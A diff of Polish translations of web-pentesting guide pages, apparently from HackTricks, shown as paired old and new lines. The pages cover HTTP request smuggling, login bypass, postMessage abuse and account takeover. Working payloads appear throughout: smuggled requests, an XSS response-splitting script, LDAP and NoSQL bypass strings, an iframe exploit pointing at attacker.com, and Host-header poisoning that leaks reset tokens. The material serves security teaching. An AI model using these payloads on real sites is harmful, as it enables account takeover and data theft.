W [**tym opisie**](https://mizu.re/post/twisty-python) to zostało nadużyte z wykorzystaniem smugglingu żądań i **vulnerable endpoint, który odpowie na dane wejściowe użytkownika**, aby smuggled żądanie z HTTP/0.9. Parametr, który będzie odzwierciedlony w odpowiedzi, zawierał **fałszywą odpowiedź HTTP/1.1 (z nagłówkami i ciałem)**, więc odpowiedź będzie zawierać ważny wykonawczy kod JS z `Content-Type` równym `text/html`.
### Wykorzystywanie przekierowań na stronie z przemytowym żądaniem HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### Wykorzystywanie przekierowań na stronie z użyciem HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Aplikacje często przekierowują z jednego URL do drugiego, używając nazwy hosta z nagłówka `Host` w URL przekierowania. Jest to powszechne w serwerach internetowych, takich jak Apache i IIS. Na przykład, żądanie folderu bez ukośnika na końcu skutkuje przekierowaniem, aby dodać ukośnik:
```
@ -438,7 +438,7 @@ Wyniki w:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Choć na pozór nieszkodliwe, to zachowanie można wykorzystać za pomocą HTTP request smuggling do przekierowywania użytkowników na zewnętrzną stronę. Na przykład:
Choć na pozór nieszkodliwe, to zachowanie można manipulować za pomocą HTTP request smuggling, aby przekierować użytkowników na zewnętrzną stronę. Na przykład:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -452,7 +452,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
To żądanie przemycone może spowodować, że następne przetworzone żądanie użytkownika zostanie przekierowane na stronę kontrolowaną przez atakującego:
Tożsamość tego zhakowanego żądania może spowodować, że następne przetworzone żądanie użytkownika zostanie przekierowane na stronę kontrolowaną przez atakującego:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -464,17 +464,17 @@ Wyniki w:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript jest przechwytywane. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy JavaScript w odpowiedzi.
W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript jest przechwytywane. Atakujący może potencjalnie skompromitować użytkownika, dostarczając złośliwy JavaScript w odpowiedzi.
### Wykorzystywanie złośliwego zatrucia pamięci podręcznej przez HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Wykorzystywanie zanieczyszczenia pamięci podręcznej w sieci za pomocą HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Zatrucie pamięci podręcznej w sieci może być realizowane, jeśli jakikolwiek komponent **infrastruktury front-endowej buforuje treści**, zazwyczaj w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest **zatrucie pamięci podręcznej**.
Zanieczyszczenie pamięci podręcznej w sieci może być realizowane, jeśli jakikolwiek komponent **infrastruktury front-endowej buforuje treści**, zazwyczaj w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest **zatrucie pamięci podręcznej**.
Wcześniej zaobserwowaliśmy, jak odpowiedzi serwera mogą być zmieniane, aby zwracały błąd 404 (zobacz [Podstawowe przykłady](./#basic-examples)). Podobnie, możliwe jest oszukanie serwera, aby dostarczył treść `/index.html` w odpowiedzi na żądanie dotyczące `/static/include.js`. W konsekwencji treść `/static/include.js` zostaje zastąpiona w pamięci podręcznej treścią `/index.html`, co sprawia, że `/static/include.js` staje się niedostępne dla użytkowników, co potencjalnie prowadzi do Denial of Service (DoS).
Wcześniej zaobserwowaliśmy, jak odpowiedzi serwera mogą być zmieniane, aby zwracały błąd 404 (zobacz [Podstawowe przykłady](#basic-examples)). Podobnie, możliwe jest oszukanie serwera, aby dostarczył treść `/index.html` w odpowiedzi na żądanie dotyczące `/static/include.js`. W konsekwencji treść `/static/include.js` zostaje zastąpiona w pamięci podręcznej treścią `/index.html`, co sprawia, że `/static/include.js` staje się niedostępne dla użytkowników, co potencjalnie prowadzi do Denial of Service (DoS).
Technika ta staje się szczególnie potężna, jeśli zostanie odkryta **vulnerabilność Open Redirect** lub jeśli występuje **przekierowanie na stronie do otwartego przekierowania**. Takie luki mogą być wykorzystywane do zastąpienia buforowanej treści `/static/include.js` skryptem kontrolowanym przez atakującego, co zasadniczo umożliwia szeroką atak Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego `/static/include.js`.
Poniżej znajduje się ilustracja wykorzystywania **zatrucia pamięci podręcznej połączonego z przekierowaniem na stronie do otwartego przekierowania**. Celem jest zmiana treści pamięci podręcznej `/static/include.js`, aby serwować kod JavaScript kontrolowany przez atakującego:
Poniżej znajduje się ilustracja wykorzystywania **zatrucia pamięci podręcznej w połączeniu z przekierowaniem na stronie do otwartego przekierowania**. Celem jest zmiana treści pamięci podręcznej `/static/include.js`, aby dostarczyć kod JavaScript kontrolowany przez atakującego:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -494,16 +494,16 @@ x=1
```
Zauważ osadzony żądanie kierujące do `/post/next?postId=3`. To żądanie zostanie przekierowane do `/post?postId=4`, wykorzystując **wartość nagłówka Host** do określenia domeny. Zmieniając **nagłówek Host**, atakujący może przekierować żądanie do swojej domeny (**przekierowanie na stronie do otwartego przekierowania**).
Po udanym **truciu gniazda**, powinno zostać zainicjowane **żądanie GET** dla `/static/include.js`. To żądanie zostanie zanieczyszczone przez wcześniejsze **przekierowanie na stronie do otwartego przekierowania** i pobierze zawartość skryptu kontrolowanego przez atakującego.
Po udanym **truciu gniazdka**, powinno zostać zainicjowane **żądanie GET** dla `/static/include.js`. To żądanie zostanie zanieczyszczone przez wcześniejsze żądanie **przekierowania na stronie do otwartego przekierowania** i pobierze zawartość skryptu kontrolowanego przez atakującego.
Następnie każde żądanie dla `/static/include.js` będzie serwować pamiętaną zawartość skryptu atakującego, skutecznie uruchamiając szeroki atak XSS.
Następnie każde żądanie dla `/static/include.js` będzie serwować pamiętaną zawartość skryptu atakującego, skutecznie uruchamiając szeroką atak XSS.
### Wykorzystanie smugglingu żądań HTTP do przeprowadzenia oszustwa w pamięci podręcznej <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Jaka jest różnica między truciem pamięci podręcznej a oszustwem w pamięci podręcznej?**
>
> - W **truciu pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje złośliwą zawartość w pamięci podręcznej, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji.
> - W **oszustwie w pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący pobiera tę zawartość z pamięci podręcznej.
> - W **truciu pamięci podręcznej**, atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej złośliwą zawartość, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji.
> - W **oszustwie w pamięci podręcznej**, atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący pobiera tę zawartość z pamięci podręcznej.
Atakujący tworzy przemyślane żądanie, które pobiera wrażliwą zawartość specyficzną dla użytkownika. Rozważ następujący przykład:
```markdown
@ -516,11 +516,11 @@ Atakujący tworzy przemyślane żądanie, które pobiera wrażliwą zawartość
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Jeśli ten przemycony żądanie zanieczyszcza wpis w pamięci podręcznej przeznaczony dla statycznej zawartości (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą być zbuforowane pod wpisem pamięci podręcznej statycznej zawartości. W konsekwencji, atakujący mógłby potencjalnie odzyskać te zbuforowane wrażliwe dane.
Jeśli ten przemycony żądanie zanieczyści wpis w pamięci podręcznej przeznaczony dla statycznej zawartości (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą być zbuforowane pod wpisem pamięci podręcznej statycznej zawartości. W konsekwencji, atakujący mógłby potencjalnie odzyskać te zbuforowane wrażliwe dane.
### Wykorzystywanie TRACE za pomocą HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**W tym poście**](https://portswigger.net/research/trace-desync-attack) zasugerowano, że jeśli serwer ma włączoną metodę TRACE, może być możliwe jej wykorzystanie za pomocą HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedli każdy nagłówek wysłany do serwera jako część treści odpowiedzi. Na przykład:
[**W tym poście**](https://portswigger.net/research/trace-desync-attack) zasugerowano, że jeśli serwer ma włączoną metodę TRACE, może być możliwe jej nadużycie za pomocą HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedli każdy nagłówek wysłany do serwera jako część treści odpowiedzi. Na przykład:
```
TRACE / HTTP/1.1
Host: example.com
@ -539,7 +539,7 @@ X-Forwarded-For: xxx.xxx.xxx.xxx
```
Przykład, jak nadużyć to zachowanie, polega na **przemyceniu najpierw żądania HEAD**. To żądanie zostanie odpowiedziane tylko **nagłówkami** żądania GET (**`Content-Type`** wśród nich). A następnie przemycić **natychmiast po HEAD żądanie TRACE**, które będzie **odzwierciedlać wysłane dane**.\
Ponieważ odpowiedź HEAD będzie zawierać nagłówek `Content-Length`, **odpowiedź żądania TRACE będzie traktowana jako ciało odpowiedzi HEAD, co zatem odzwierciedli dowolne dane** w odpowiedzi.\
Ta odpowiedź zostanie wysłana do następnego żądania przez połączenie, więc może to być **użyte w pamięci podręcznej pliku JS, na przykład do wstrzyknięcia dowolnego kodu JS**.
Ta odpowiedź zostanie wysłana do następnego żądania przez połączenie, więc może to być **użyte w pamiętanym pliku JS, na przykład do wstrzyknięcia dowolnego kodu JS**.
### Nadużywanie TRACE poprzez HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@ -566,7 +566,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Wygeneruje te odpowiedzi (zauważ, jak odpowiedź HEAD ma Content-Length, co sprawia, że odpowiedź TRACE jest częścią ciała HEAD, a po zakończeniu Content-Length HEAD, ważna odpowiedź HTTP jest przemycana):
Wygeneruje te odpowiedzi (zauważ, jak odpowiedź HEAD ma Content-Length, co sprawia, że odpowiedź TRACE jest częścią ciała HEAD, a po zakończeniu Content-Length HEAD smuggled jest ważna odpowiedź HTTP):
```
HTTP/1.1 200 OK
Content-Type: text/html

View File

@ -4,7 +4,7 @@
## **Ominięcie standardowego logowania**
Jeśli znajdziesz stronę logowania, tutaj znajdziesz kilka technik, które możesz spróbować, aby ją obejść:
Jeśli znajdziesz stronę logowania, tutaj znajdziesz kilka technik, które możesz spróbować zastosować, aby ją obejść:
- Sprawdź **komentarze** wewnątrz strony (przewiń w dół i w prawo?)
- Sprawdź, czy możesz **bezpośrednio uzyskać dostęp do zastrzeżonych stron**
@ -15,7 +15,7 @@ Jeśli znajdziesz stronę logowania, tutaj znajdziesz kilka technik, które moż
- Sprawdź potencjalny błąd parsowania nodejs (przeczytaj [**to**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
- Nodejs przekształci ten ładunek w zapytanie podobne do następującego: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` co sprawia, że bit hasła zawsze jest prawdziwy.
- Jeśli możesz wysłać obiekt JSON, możesz wysłać `"password":{"password": 1}`, aby obejść logowanie.
- Pamiętaj, że aby obejść to logowanie, musisz **znać i wysłać ważną nazwę użytkownika**.
- Pamiętaj, że aby obejść to logowanie, nadal musisz **znać i wysłać ważną nazwę użytkownika**.
- **Dodanie opcji `"stringifyObjects":true`** podczas wywoływania `mysql.createConnection` ostatecznie zablokuje **wszystkie nieoczekiwane zachowania, gdy `Object` jest przekazywany** w parametrze.
- Sprawdź dane logowania:
- [**Domyślne dane logowania**](../../generic-hacking/brute-force.md#default-credentials) technologii/platformy używanej
@ -25,7 +25,7 @@ Jeśli znajdziesz stronę logowania, tutaj znajdziesz kilka technik, które moż
### Ominięcie uwierzytelniania SQL Injection
[Tu znajdziesz kilka sztuczek, aby obejść logowanie za pomocą **SQL injections**](../sql-injection/#authentication-bypass).
[Tu znajdziesz kilka sztuczek, aby obejść logowanie za pomocą **SQL injections**](../sql-injection/index.html#authentication-bypass).
Na następnej stronie znajdziesz **niestandardową listę do próby ominięcia logowania** za pomocą SQL Injections:
@ -37,7 +37,7 @@ sql-login-bypass.md
[Tu znajdziesz kilka sztuczek, aby obejść logowanie za pomocą **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
Ponieważ NoSQL Injections wymaga zmiany wartości parametrów, będziesz musiał je przetestować ręcznie.
Ponieważ NoSQL Injections wymaga zmiany wartości parametrów, będziesz musiał je przetestować ręcznie.
### Ominięcie uwierzytelniania XPath Injection
@ -73,20 +73,20 @@ admin)(!(&(|
pwd))
admin))(|(|
```
### Pamiętaj mnie
### Remember Me
Jeśli strona ma funkcjonalność "**Pamiętaj mnie**", sprawdź, jak jest zaimplementowana i zobacz, czy możesz ją wykorzystać do **przejęcia innych kont**.
Jeśli strona ma funkcję "**Remember Me**", sprawdź, jak jest zaimplementowana i zobacz, czy możesz ją wykorzystać do **przejęcia innych kont**.
### Przekierowania
### Redirects
Strony zazwyczaj przekierowują użytkowników po zalogowaniu, sprawdź, czy możesz zmienić to przekierowanie, aby spowodować [**Otwarte Przekierowanie**](../open-redirect.md). Może uda ci się ukraść jakieś informacje (kody, ciasteczka...), jeśli przekierujesz użytkownika na swoją stronę.
Strony zazwyczaj przekierowują użytkowników po zalogowaniu, sprawdź, czy możesz zmienić to przekierowanie, aby spowodować [**Open Redirect**](../open-redirect.md). Może uda ci się ukraść jakieś informacje (kody, ciasteczka...), jeśli przekierujesz użytkownika na swoją stronę.
## Inne Kontrole
## Other Checks
- Sprawdź, czy możesz **enumerować nazwy użytkowników**, wykorzystując funkcjonalność logowania.
- Sprawdź, czy **autouzupełnianie** jest aktywne w formularzach hasła/**wrażliwych** informacji **input:** `<input autocomplete="false">`
- Sprawdź, czy możesz **enumerować nazwy użytkowników**, wykorzystując funkcję logowania.
- Sprawdź, czy **auto-uzupełnianie** jest aktywne w formularzach z hasłem/**wrażliwymi** informacjami **input:** `<input autocomplete="false">`
## Narzędzia Automatyczne
## Automatic Tools
- [HTLogin](https://github.com/akinerkisa/HTLogin)

View File

@ -1,6 +1,6 @@
# Luki PostMessage
# PostMessage Vulnerabilities
## Luki PostMessage
## PostMessage Vulnerabilities
{{#include ../../banners/hacktricks-training.md}}
@ -32,14 +32,14 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Zauważ, że **targetOrigin** może być '\*' lub adresem URL, takim jak _https://company.com._\
Zauważ, że **targetOrigin** może być '\*' lub URL, taki jak _https://company.com._\
W **drugim scenariuszu** **wiadomość może być wysyłana tylko do tej domeny** (nawet jeśli pochodzenie obiektu okna jest inne).\
Jeśli użyto **znaku wieloznacznego**, **wiadomości mogą być wysyłane do dowolnej domeny** i będą wysyłane do pochodzenia obiektu Window.
### Atakowanie iframe i znak wieloznaczny w **targetOrigin**
Jak wyjaśniono w [**tym raporcie**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), jeśli znajdziesz stronę, która może być **iframed** (brak ochrony `X-Frame-Header`) i która **wysyła wrażliwe** wiadomości za pomocą **postMessage** używając **znaku wieloznacznego** (\*), możesz **zmodyfikować** **pochodzenie** **iframe** i **wyciek** **wrażliwej** wiadomości do domeny kontrolowanej przez Ciebie.\
Zauważ, że jeśli strona może być iframed, ale **targetOrigin** jest **ustawione na adres URL, a nie na znak wieloznaczny**, ten **sztuczek nie zadziała**.
Zauważ, że jeśli strona może być iframed, ale **targetOrigin** jest **ustawiony na URL, a nie na znak wieloznaczny**, ten **sztuczkę nie zadziała**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -54,10 +54,10 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}
</script>
```
## wykorzystanie addEventListener
## exploitacja addEventListener
**`addEventListener`** to funkcja używana przez JS do deklarowania funkcji, która **oczekuje `postMessages`**.\
Zostanie użyty kod podobny do poniższego:
Będzie użyty kod podobny do poniższego:
```javascript
window.addEventListener(
"message",
@ -69,18 +69,18 @@ if (event.origin !== "http://example.org:8080") return
false
)
```
Zauważ w tym przypadku, jak **pierwszą rzeczą**, którą kod robi, jest **sprawdzanie pochodzenia**. To jest strasznie **ważne**, szczególnie jeśli strona ma zamiar zrobić **cokolwiek wrażliwego** z otrzymanymi informacjami (jak zmiana hasła). **Jeśli nie sprawdzi pochodzenia, atakujący mogą zmusić ofiary do wysyłania dowolnych danych do tych punktów końcowych** i zmieniać hasła ofiar (w tym przykładzie).
Zauważ w tym przypadku, że **pierwszą rzeczą**, którą kod robi, jest **sprawdzanie pochodzenia**. To jest strasznie **ważne**, szczególnie jeśli strona ma zamiar zrobić **cokolwiek wrażliwego** z otrzymanymi informacjami (jak zmiana hasła). **Jeśli nie sprawdzi pochodzenia, atakujący mogą zmusić ofiary do wysyłania dowolnych danych do tych punktów końcowych** i zmieniać hasła ofiar (w tym przykładzie).
### Enumeracja
Aby **znaleźć nasłuchiwacze zdarzeń** na bieżącej stronie, możesz:
- **Szukaj** w kodzie JS `window.addEventListener` i `$(window).on` (_wersja JQuery_)
- **Wykonaj** w konsoli narzędzi dewelopera: `getEventListeners(window)`
- **Wykonaj** w konsoli narzędzi deweloperskich: `getEventListeners(window)`
![](<../../images/image (618) (1).png>)
- **Przejdź do** _Elements --> Event Listeners_ w narzędziach dewelopera przeglądarki
- **Przejdź do** _Elements --> Event Listeners_ w narzędziach deweloperskich przeglądarki
![](<../../images/image (396).png>)
@ -102,7 +102,7 @@ Aby **znaleźć nasłuchiwacze zdarzeń** na bieżącej stronie, możesz:
```
- Funkcja **`match()`**, podobnie jak `search()`, przetwarza regex. Jeśli regex jest źle skonstruowany, może być podatny na ominięcie.
- Funkcja **`escapeHtml`** ma na celu sanitację wejść poprzez ucieczkę znaków. Jednak nie tworzy nowego obiektu z ucieczką, lecz nadpisuje właściwości istniejącego obiektu. To zachowanie może być wykorzystane. Szczególnie, jeśli obiekt może być manipulowany w taki sposób, że jego kontrolowana właściwość nie uznaje `hasOwnProperty`, `escapeHtml` nie zadziała zgodnie z oczekiwaniami. To jest pokazane w poniższych przykładach:
- Funkcja **`escapeHtml`** ma na celu sanitację danych wejściowych poprzez ucieczkę znaków. Jednak nie tworzy nowego obiektu z ucieczką, lecz nadpisuje właściwości istniejącego obiektu. To zachowanie może być wykorzystane. Szczególnie, jeśli obiekt można manipulować w taki sposób, że jego kontrolowana właściwość nie uznaje `hasOwnProperty`, `escapeHtml` nie zadziała zgodnie z oczekiwaniami. To jest pokazane w poniższych przykładach:
- Oczekiwana awaria:
@ -126,11 +126,11 @@ W kontekście tej podatności, obiekt `File` jest szczególnie podatny na wykorz
### Ominięcie e.origin == window.origin
Podczas osadzania strony internetowej w **sandboxed iframe** za pomocą %%%%%%, ważne jest, aby zrozumieć, że pochodzenie iframe będzie ustawione na null. To jest szczególnie ważne przy zajmowaniu się **atrybutami sandbox** i ich implikacjami dla bezpieczeństwa i funkcjonalności.
Podczas osadzania strony internetowej w **sandboxed iframe** za pomocą %%%%%%, ważne jest, aby zrozumieć, że pochodzenie iframe będzie ustawione na null. To jest szczególnie ważne, gdy zajmujemy się **atrybutami sandbox** i ich implikacjami dla bezpieczeństwa i funkcjonalności.
Poprzez określenie **`allow-popups`** w atrybucie sandbox, każde okno popup otwarte z wnętrza iframe dziedziczy ograniczenia sandboxu swojego rodzica. Oznacza to, że chyba że atrybut **`allow-popups-to-escape-sandbox`** jest również uwzględniony, pochodzenie okna popup jest podobnie ustawione na `null`, zgodnie z pochodzeniem iframe.
Poprzez określenie **`allow-popups`** w atrybucie sandbox, każde okno popup otwarte z wnętrza iframe dziedziczy ograniczenia sandboxu swojego rodzica. Oznacza to, że chyba że atrybut **`allow-popups-to-escape-sandbox`** jest również uwzględniony, pochodzenie okna popup jest również ustawione na `null`, co odpowiada pochodzeniu iframe.
W konsekwencji, gdy popup jest otwierany w tych warunkach i wiadomość jest wysyłana z iframe do popupu za pomocą **`postMessage`**, zarówno nadawca, jak i odbiorca mają swoje pochodzenia ustawione na `null`. Ta sytuacja prowadzi do scenariusza, w którym **`e.origin == window.origin`** ocenia się jako prawda (`null == null`), ponieważ zarówno iframe, jak i popup dzielą tę samą wartość pochodzenia `null`.
W konsekwencji, gdy popup jest otwierany w tych warunkach i wiadomość jest wysyłana z iframe do popup za pomocą **`postMessage`**, zarówno nadawca, jak i odbiorca mają swoje pochodzenia ustawione na `null`. Ta sytuacja prowadzi do scenariusza, w którym **`e.origin == window.origin`** ocenia się jako prawda (`null == null`), ponieważ zarówno iframe, jak i popup dzielą tę samą wartość pochodzenia `null`.
Aby uzyskać więcej informacji **przeczytaj**:
@ -147,7 +147,7 @@ if (received_message.source !== window) {
return
}
```
Możesz wymusić **`e.source`** wiadomości, aby było równe null, tworząc **iframe**, który **wysyła** **postMessage** i jest **natychmiast usuwany**.
Możesz wymusić, aby **`e.source`** wiadomości było równe null, tworząc **iframe**, który **wysyła** **postMessage** i jest **natychmiast usuwany**.
Aby uzyskać więcej informacji **przeczytaj:**
@ -155,7 +155,7 @@ Aby uzyskać więcej informacji **przeczytaj:**
bypassing-sop-with-iframes-2.md
{{#endref}}
### Ominięcie nagłówka X-Frame
### Obejście nagłówka X-Frame
Aby przeprowadzić te ataki, najlepiej byłoby **umieścić stronę internetową ofiary** w `iframe`. Jednak niektóre nagłówki, takie jak `X-Frame-Header`, mogą **zapobiegać** temu **zachowaniu**.\
W takich scenariuszach możesz nadal użyć mniej dyskretnego ataku. Możesz otworzyć nową kartę do podatnej aplikacji internetowej i komunikować się z nią:
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### Kradzież wiadomości wysłanej do dziecka przez zablokowanie głównej strony
Na poniższej stronie możesz zobaczyć, jak można ukraść **wrażliwe dane postmessage** wysłane do **dziecięcego iframe** przez **zablokowanie** **głównej** strony przed wysłaniem danych i nadużycie **XSS w dziecku**, aby **ujawnić dane** przed ich odebraniem:
Na poniższej stronie możesz zobaczyć, jak można ukraść **wrażliwe dane postmessage** wysłane do **dziecięcego iframe** przez **zablokowanie** **głównej** strony przed wysłaniem danych i wykorzystanie **XSS w dziecku** do **ujawnienia danych** przed ich odebraniem:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
### Kradzież wiadomości przez modyfikację lokalizacji iframe
Jeśli możesz umieścić stronę w iframe bez X-Frame-Header, która zawiera inny iframe, możesz **zmienić lokalizację tego dziecięcego iframe**, więc jeśli odbiera **postmessage** wysłane za pomocą **wildcard**, atakujący może **zmienić** ten iframe **origin** na stronę **kontrolowaną** przez niego i **ukraść** wiadomość:
Jeśli możesz iframe'ować stronę internetową bez X-Frame-Header, która zawiera inny iframe, możesz **zmienić lokalizację tego dziecięcego iframe**, więc jeśli odbiera **postmessage** wysłane za pomocą **wildcard**, atakujący mógłby **zmienić** ten iframe **origin** na stronę **kontrolowaną** przez niego i **ukraść** wiadomość:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
@ -183,11 +183,11 @@ steal-postmessage-modifying-iframe-location.md
### postMessage do zanieczyszczenia prototypu i/lub XSS
W scenariuszach, w których dane wysyłane przez `postMessage` są wykonywane przez JS, możesz **umieścić** **stronę** w **iframe** i **wykorzystać** **zanieczyszczenie prototypu/XSS**, wysyłając exploit za pomocą `postMessage`.
W scenariuszach, w których dane wysyłane przez `postMessage` są wykonywane przez JS, możesz **iframe'ować** **stronę** i **wykorzystać** **zanieczyszczenie prototypu/XSS**, wysyłając exploit za pomocą `postMessage`.
Kilka **bardzo dobrze wyjaśnionych XSS przez `postMessage`** można znaleźć w [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Przykład exploita do nadużycia **zanieczyszczenia prototypu, a następnie XSS** przez `postMessage` do `iframe`:
Przykład exploita do wykorzystania **zanieczyszczenia prototypu, a następnie XSS** przez `postMessage` do `iframe`:
```html
<html>
<body>
@ -216,7 +216,7 @@ Dla **więcej informacji**:
- Link do strony o [**zanieczyszczeniu prototypu**](../deserialization/nodejs-proto-prototype-pollution/)
- Link do strony o [**XSS**](../xss-cross-site-scripting/)
- Link do strony o [**zanieczyszczeniu prototypu po stronie klienta do XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
- Link do strony o [**zanieczyszczeniu prototypu po stronie klienta do XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
## Odniesienia

View File

@ -14,7 +14,7 @@ Jeśli to zrobi, może wysłać **postmessage** z treścią HTML, która zostani
Sposobem na obejście **pierwszej kontroli** jest ustawienie **`window.calc.contentWindow`** na **`undefined`** i **`e.source`** na **`null`**:
- **`window.calc.contentWindow`** to tak naprawdę **`document.getElementById("calc")`**. Możesz zniszczyć **`document.getElementById`** za pomocą **`<img name=getElementById />`** (zauważ, że API Sanitizer -[tutaj](https://wicg.github.io/sanitizer-api/#dom-clobbering)- nie jest skonfigurowane, aby chronić przed atakami DOM clobbering w swoim domyślnym stanie).
- **`window.calc.contentWindow`** to tak naprawdę **`document.getElementById("calc")`**. Możesz zniszczyć **`document.getElementById`** za pomocą **`<img name=getElementById />`** (zauważ, że API Sanitizer -[tutaj](https://wicg.github.io/sanitizer-api/index.html#dom-clobbering)- nie jest skonfigurowane, aby chronić przed atakami DOM clobbering w swoim domyślnym stanie).
- Dlatego możesz zniszczyć **`document.getElementById("calc")`** za pomocą **`<img name=getElementById /><div id=calc></div>`**. Wtedy **`window.calc`** będzie **`undefined`**.
- Teraz potrzebujemy, aby **`e.source`** było **`undefined`** lub **`null`** (ponieważ używane jest `==` zamiast `===`, **`null == undefined`** jest **`True`**). Osiągnięcie tego jest "łatwe". Jeśli stworzysz **iframe** i **wyślesz** **postMessage** z niego, a następnie natychmiast **usunięsz** iframe, **`e.origin`** będzie **`null`**. Sprawdź poniższy kod
```javascript

View File

@ -27,7 +27,7 @@ W takim przypadku możesz spróbować przeprowadzić atak brute force na dane lo
### SQL Injection
[**Sprawdź tę stronę** ](sql-injection/#insert-statement), aby dowiedzieć się, jak próbować przejąć konta lub wydobywać informacje za pomocą **SQL Injections** w formularzach rejestracyjnych.
[**Sprawdź tę stronę** ](sql-injection/index.html#insert-statement), aby dowiedzieć się, jak próbować przejąć konta lub wydobywać informacje za pomocą **SQL Injections** w formularzach rejestracyjnych.
### Przejęcia Oauth
@ -69,7 +69,7 @@ Po rejestracji spróbuj zmienić e-mail i sprawdź, czy ta zmiana jest poprawnie
2. Dodaj lub edytuj następujące nagłówki w Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Prześlij żądanie z zmodyfikowanym nagłówkiem\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Szukaj URL resetu hasła na podstawie nagłówka _host_, takiego jak: `https://attacker.com/reset-password.php?token=TOKEN`
4. Szukaj URL resetu hasła na podstawie _nagłówka host_ jak: `https://attacker.com/reset-password.php?token=TOKEN`
### Reset Hasła przez Parametr E-mail <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
@ -92,7 +92,7 @@ email=victim@mail.com|hacker@mail.com
1. Atakujący musi zalogować się na swoje konto i przejść do funkcji **Zmień hasło**.
2. Uruchom Burp Suite i przechwyć żądanie.
3. Wyślij je do zakładki repeater i edytuj parametry: User ID/email\
3. Wyślij je do zakładki repeater i edytuj parametry: ID użytkownika/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Słaby token resetowania hasła <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
@ -100,28 +100,28 @@ email=victim@mail.com|hacker@mail.com
Token resetowania hasła powinien być generowany losowo i unikalnie za każdym razem.\
Spróbuj ustalić, czy token wygasa, czy zawsze jest taki sam; w niektórych przypadkach algorytm generacji jest słaby i można go odgadnąć. Poniższe zmienne mogą być używane przez algorytm.
- Timestamp
- UserID
- Znacznik czasu
- ID użytkownika
- Email użytkownika
- Imię i nazwisko
- Data urodzenia
- Kryptografia
- Tylko liczby
- Mała sekwencja tokenów (znaki między \[A-Z,a-z,0-9])
- Ponowne użycie tokena
- Data wygaśnięcia tokena
- Ponowne użycie tokenu
- Data wygaśnięcia tokenu
### Wyciekanie tokena resetowania hasła <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
### Wyciekanie tokenu resetowania hasła <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Wywołaj żądanie resetowania hasła za pomocą API/UI dla konkretnego adresu e-mail, np.: test@mail.com
1. Wywołaj żądanie resetowania hasła za pomocą API/UI dla konkretnego emaila, np.: test@mail.com
2. Sprawdź odpowiedź serwera i poszukaj `resetToken`
